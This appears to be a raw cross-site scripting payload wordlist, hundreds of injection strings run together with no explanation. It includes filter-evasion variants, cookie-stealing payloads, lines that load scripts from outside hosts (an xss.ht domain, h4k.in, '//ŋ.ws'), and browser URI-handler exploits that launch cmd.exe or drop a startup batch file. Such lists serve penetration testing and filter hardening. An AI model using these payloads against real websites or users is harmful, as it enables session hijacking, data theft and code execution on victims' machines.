\";;alert(';XSS';);// \";alert('XSS');// \";document.vulnerable=true;;// \";alert('XSS');// \'-alert(1)// \'-alert(1)//<svg> \'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=\' \'}alert(1);{// \\";alert('XSS');// \\'); alert(\'xss\');var x=\' \u003C \u003c \x3C \x3Cscript>javascript:alert(1)</script> \x3c ];a=eval;b=alert;a(b(16));// ]><img />//["'`-->]]>]</div> _ _(1) _=eval,__=unescape,___=document.URL,_(__(___)) __ ___=1?'ert(123)':0,_=1?'al':0,__=1?'ev':0,1[__+_](_+___) __parent__ stored JS alert __proto__ stored JS alert `"'><img src='#\x27 onerror=javascript:alert(1)> `"'><img src=xxx:x \x00onerror=javascript:alert(1)> `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)> `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)> `"'><img src=xxx:x \x0Conerror=javascript:alert(1)> `"'><img src=xxx:x \x0Donerror=javascript:alert(1)> `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)> `"'><img src=xxx:x \x09onerror=javascript:alert(1)> `"'><img src=xxx:x \x20onerror=javascript:alert(1)> `"'><img src=xxx:x \x22onerror=javascript:alert(1)> `"'><img src=xxx:x \x27onerror=javascript:alert(1)> `"'><img src=xxx:x onerror\x00=javascript:alert(1)> `"'><img src=xxx:x onerror\x0A=javascript:alert(1)> `"'><img src=xxx:x onerror\x0B=javascript:alert(1)> `"'><img src=xxx:x onerror\x0C=javascript:alert(1)> `"'><img src=xxx:x onerror\x0D=javascript:alert(1)> `"'><img src=xxx:x onerror\x09=javascript:alert(1)> `"'><img src=xxx:x onerror\x20=javascript:alert(1)> `-alert(1)">'onload="`<svg/1=' `> <script>alert(5)</script> a(0) a=0||'ev'+'al',b=0||location.hash,c=0||'sub'+'str',1[a](b[c](1)) a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n.h'+'ash.sub'||0;b+=0||'str(1)';c=b[a];c(c(b)) a=1;a=eval;b=alert;a(b(11));// a=";get";;&;#10;b=";URL(";";;&;#10;c=";javascript:";;&;#10;d=";alert(';XSS';);";)";; eval(a+b+c+d); a="get"; a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")";eval(a+b+c+d); a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d); a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e); a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); a=/ev/ a=/ev/// a=<a> a=\"get\"; a=alert a=alert,a(1) aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat" aim: uri exploit al\u0065rt(1) alert(1) alert(1) alert(1) alert(1) alert(2) alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)> alert('bar'); alert('foo'); alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- alert(String.fromCharCode(88,83,83));'))"> alert(document.cookie); alert;pg("XSS") alert`1` anchor Chrome bypass anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz anythinglr00</script><script>alert(document.domain)</script>uxldz b=1 b=\"URL(\\"\"; b=top,a=/loc/ . source,a+=/ation/ . source,b[a=a] = name body:after{ c=1 c=\"javascript:\"; content: “\61\6c\65\72\74\28\31\29″ d=0||'une'+'scape'||0;a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n'||0;c=b[a];d=c(d);c(d(c(b))) d=\"alert('XSS');\\")\"; data:text/html,<iframe src=javascript:alert(1)> data:text/html,<img src=1 onerror=alert(1)> data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4= document.__parent__._=alert document.write(unescape(a..b)) echo('IPT>alert(\"XSS\")</SCRIPT>'); ?> element[attribute='<img src=x onerror=alert('XSS');> eval eval(URL.slice(-8))>#alert(1) eval(a+b+c+d); eval(eval(document.styleSheets[0].cssRules[0].style.content)) eval(location.hash.slice(1)>#alert(1) eval(name) eval.call(this,unescape.call(this,location)) evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeProto);hsh=7[evil](hshCod),cod=hsh.ss(1);7[evil](cod) exp/*<A STYLE='no\xss:noxss(\"*//*\"); exp/*<XSS STYLE='no\xss:noxss("*//*"); exp/*<;XSS STYLE=';no\xss:noxss(";*//*";); exp/*<A STYLE='no\xss:noxss("*//*"); exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'> exp/*<XSS STYLE='no\xss:noxss("*//*"); exp/*<XSS STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> feed:data:text/html,<script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)</script><b> feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// firefoxurl:test|"%20-new-window%20javascript:alert(\'Cross%2520Browser%2520Scripting!\');" firefoxurl: uri exploit (UXSS) foo<script>alert(1)</script> foo<script>alert(document.cookie)</script> foo\’; alert(document.cookie);//’; for (i=1;i<6;i++) { function makePopups(){ g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250 getURL("javascript:alert('XSS')") hash http://aa"><script>alert(123)</script> http://aa'><script>alert(123)</script> http://aa<script>alert(123)</script> http://www.<script>alert(1)</script .com http://www.google<script .com>alert(document.location)</script http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS?? http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS?? id ID #REQUIRED>]> iframe Chrome bypass innerHTML=location.hash>#<script>alert(1)</script> jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);// javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'> javascript:alert%281%29; javascript:alert("OfJAAH"): javascript:alert("hellox worldss") javascript:eval('var a=document.createElement(\'script\');a.src=\'https://hackeroneofjaaah.xss.ht\';document.body.appendChild(a)') l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 || 'loca',d= (k) + (g) + (f),a location location="http://html5sec.org"; navigator.vibrate(500) navigatorurl: code execution navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[\'@mozilla.org/file/local;1\'].createInstance(I.nsILocalFile);file.initWithPath(\'C:\'+String.fromCharCode(92)+String.fromCharCode(92)+\'Windows\'+String.fromCharCode(92)+String.fromCharCode(92)+\'System32\'+String.fromCharCode(92)+String.fromCharCode(92)+\'cmd.exe\');process=C[\'@mozilla.org/process/util;1\'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process) o={x:''+<s>eva</s>+<s>l</s>,y:''+<s>aler</s>+<s>t</s>+<s>(1)</ onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source); onerror CDATA "alert(67)" onload CDATA "alert(2)"> open(name) p=<svg 1='&q='onload='/*&r=*/alert(1)'> p=<svg/1='&q='onload=alert(1)> perl -e 'print \";<;IMG SRC=java\0script:alert(\";XSS\";)>;\";;' >; out perl -e 'print \";<;SCR\0IPT>;alert(\";XSS\";)<;/SCR\0IPT>;\";;' >; out perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out perl -e ';print ";&;<;SCR\0IPT>;alert(";XSS";)<;/SCR\0IPT>;";;'; >; out perl -e ';print ";<;IM SRC=java\0script:alert(";XSS";)>";;';>; out perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out perl -e 'print \"<IMG SRC=java\0script:alert(\\"XSS\\")>\";' > out perl -e 'print \"<SCR\0IPT>alert(\\"XSS\\")</SCR\0IPT>\";' > out perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out q=<script/&q=/src=data:&q=alert(1)> rentNode;x.appendChild(i); res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210 res:// installed software probing s1=0?'1':'i'; s2=0?'1':'fr'; s3=0?'1':'ame'; i1=s1+s2+s3; s1=0?'1':'jav'; s2=0?'1':'ascr'; s3=0?'1':'ipt'; s4=0?'1':':'; s5=0?'1':'ale'; s6=0?'1':'rt'; s7=0?'1':'(1)'; i2=s1+s2+s3+s4+s5+s6+s7; s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2= s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i); s1=!''&&'jav';s2=!''&&'ascript';s3=!''&&':';s4=!''&&'aler';s5=!''&&'t';s6=!''&&'(1)';s7=s1+s2+s3+s4+s5+s6;URL=s7; s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1) s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+''; u1=s1+s2+s3;URL=u1 s1='java'||''+'';s2='scri'||''+'';s3='pt'||''+''; s1=<s>evalalerta(1)a</s>,s2=<s></s>+'',s3=s1+s2,e1=/s/!=/s/?s3[0]: s1=['java'+''+''+'scr'+'ipt'+':'+'aler'+'t'+'(1)']; s1=['java'||''+'']; s2=['scri'||''+'']; s3=['pt'||''+'']; s/?0[e1+e2+e3+e4]:0,a1=/s/!=/s/?s3[4]:0,a2=/s/!=/s/?s3[5]:0,a3=/s/!=/ s/?s3[6]:0,a4=/s/!=/s/?s3[7]:0,a5=/s/!=/s/?s3[8]:0,a6=/s/!=/s/?s3[10]: s>};function f() { 0[this.x](this.y) }f.call(o); setInterval`alert\x28document.domain\x29` setTimeout// setTimeout`alert\x28document.domain\x29` src="http://www.site.com/XSS.js"></script> sstyle=foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a=" style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a=" style=color: expression(alert(0));" a=" substr top.__proto__._= alert top.open`javas\cript:al\ert(1)` top[8680439..toString(30)](1) top["al"+"ert"](1) top['al\145rt'](1) top['al\x65rt'](1) top[/al/.source+/ert/.source](1) u1=s1+s2+s3;URL=u1 var a = "</script> <script> alert('XSS !'); </script> <script>"; vbscript:Execute(MsgBox(chr(88)&chr(83)&chr(83)))< veris-->group<svg/onload=alert(/XSS/)// width: expression((window.r==document.cookie)?'':alert(r=document.cookie)) window.alert("Bonjour !"); window.open('popup.html','spam'+i,'width=50,height=50'); with() executing alert via document.__parent__ with(document)getElementsByTagName('head')[0].appendChild(createElement('script')).src='//ŋ.ws' with(document.__parent__)alert(1) with(location)with(hash)eval(substring(1)) wtf? Chrome x='<%' xmlns:svg="http://www.w3.org/2000/svg"> xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'> xss:ex/*XSS*//*/*/pression(alert("XSS"))'> xyz onerror=alert(6); x”</title><img src%3dx onerror%3dalert(1)> y=<a>alert</a>;content[y](123) z" onmouseover="alert('Hackerone')" style="position:fixed;left:0;top:0;width:9999px;height:9999px;"> {1==1}"><object+data=javascript%26colon%3b'str1ng'.replace('1',alert)> } }); };a=eval;b=alert;a(b(12));// }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script> }</style><script>a=eval;b=alert;a(b(/i/.source));</script> ¼script¾alert(¢XSS¢)¼/script¾ žscriptualert(EXSSE)ž/scriptu ‘)alert(1);// ‘; alert(1); ‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ‘; alert(document.cookie); var foo=’ “><<script>alert(document.cookie);//<</script> “><ScRiPt>alert(document.cookie)</script> “><s”%2b”cript>alert(document.cookie)</script>